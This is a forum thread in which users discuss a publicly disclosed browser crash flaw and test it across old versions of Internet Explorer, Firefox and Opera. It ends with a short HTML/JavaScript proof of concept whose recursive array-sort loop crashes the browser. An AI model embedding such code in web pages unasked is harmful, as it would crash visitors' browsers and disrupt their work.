    Can you give us a bit more detail......source documentation/site?

    AFAIK an infinite array is the same as an infinite table, or even division by zero?

    Sorry to be stupid, but you have got me interested............I must have missed it in the news

    Cheers

    youyr link says "The actual code required to crash the browsers has been publicly disclosed by Wever and contains only four lines of code"

    I tried searhing for that but could not find anything special thanks for information anyways.
    I didn't know that.

    all i know is what i read in the article. it will crash your browser etc. and with 4 lines of code it could be anything, i mean i could write a c program to startup at boot and scroll lines of obscenities forever hehe. its not hard. but this is very interesting since its in the browser. i hope someone knows this flaw.

    I managed to find some HTML source and I checked a few browsers with it.

    http://www.edup.tudelft.nl/~bjwever/menu.php

    Seems that IE on WinXP Sp2 tells you its a stack overflow but doesn't crash
    Firefox crashes
    IE on Win 2k SP4 crashes

    thats as far as i've gotten so far
    enjoy the code

    IE on XP pro sp1 - closes no warning
    Opera 7.54 (all on same OS) - closes no warning
    FireFox 1.0 - closes no warning

    all using
    Code:
    <HTML>
      <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
      <SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT>
    </HTML>
